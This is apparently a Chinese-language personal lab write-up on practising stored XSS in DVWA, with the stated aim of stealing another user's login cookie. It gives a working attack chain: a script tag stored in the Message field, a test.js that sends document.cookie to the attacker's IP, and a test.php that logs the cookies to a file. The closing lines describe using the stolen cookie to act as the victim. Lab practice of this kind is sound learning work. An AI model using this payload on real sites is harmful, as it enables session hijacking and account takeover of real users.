XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</script>的代码,那么这个网站就有被XSS攻击的风险,到底有什么风险呢?又是怎么被攻击的呢?sorry,我也不知道>_<
我用DVWA来练习存储型XSS,目标是窃取用户账号(通过拿到对方的登录cookie)。我在本机再开一台虚拟机,用虚拟机(模拟另一个用户)访问:http://IP地址/dvwa/vulnerabilities/xss_s/。这个页面是不是很像留言或者评论页面~
security level = low
1. 在本机登录(模拟攻击方),输入时发现Name做了长度限制,而Message没有,所以攻击点在Message的输入框
输入:<script src="http://172.24.107.155/test.js"></script>
刷新一下当前页面,刚插入的记录仍然存在,说明恶意代码已经被“存储”在这个页面了~
2. 在本机的php服务下放入js代码文件和php文件。
js文件用来在被攻击方采集cookie并传入php页面,php页面将cookie存入名为cookies的文件中。
test.js文件内容:
var img = document.createElement("img") img.src = "http://本机ip地址/test.php?cookies="+escape(document.cookie); document.body.appendChild(img);
test.php文件内容:
<?php $cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies"); ?>
3. 在虚拟机登录(模拟被攻击方),访问刚才的页面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻击方也能看到刚才上传的那条记录(此时js代码已经被执行了..>_<..):
4. 获得登录凭证
攻击方此时啥也不用再干,守株待兔,等着js吧cookie发送到本机后,到刚才放入test.js和test.php文件的地方,会发现多了一个名为cookies的文件~
打开cookies文件,里面记录了被攻击方的登陆cookie:
拿到对方的登录凭证之后,我们就能通过构造http请求(把对方的cookie传进去),以对方的身份操作网站,如果对方的是admin的话,Hmm......